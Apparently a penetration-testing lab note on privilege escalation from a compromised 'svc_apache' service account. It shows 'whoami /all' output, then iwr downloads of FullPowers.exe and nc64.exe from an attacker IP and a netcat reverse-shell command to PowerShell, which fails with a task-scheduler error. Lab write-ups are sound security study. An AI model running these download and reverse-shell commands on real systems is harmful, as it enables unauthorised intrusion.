Access_User_Privileges_svc_apache

svc_apache

---

Checking for privileges of the svc_apache account after performing a manual system enumeration

PS C:\tmp> whoami /all
 
USER INFORMATION
----------------
 
User Name         SID                                         
================= ============================================
access\svc_apache S-1-5-21-537427935-490066102-1511301751-1103
 
 
GROUP INFORMATION
-----------------
 
Group Name                                 Type             SID          Attributes                                        
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                   
 
 
PRIVILEGES INFORMATION
----------------------
 
Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
 
 
USER CLAIMS INFORMATION
-----------------------
 
User claims unknown.
 
Kerberos support for Dynamic Access Control on this device has been disabled.

svc_apache is a service account.

FullPowers.exe (Fail)

---

The method leverages the task scheduler

PS C:\tmp> iwr -Uri http://192.168.45.171/FullPowers.exe -OutFile .\FullPowers.exe
PS C:\tmp> iwr -Uri http://192.168.45.171/nc64.exe -OutFile .\nc64.exe
 
PS C:\tmp> .\FullPowers.exe -c 'C:\\tmp\\nc64.exe 192.168.45.171 8888 -e powershell'
[+] Started dummy thread with id 3184
[-] ITaskFolder::RegisterTaskDefinition() failed (Err: 0x80041316 - The task XML contains an unexpected node.)
[-] Failed to create custom scheduled task.

Failed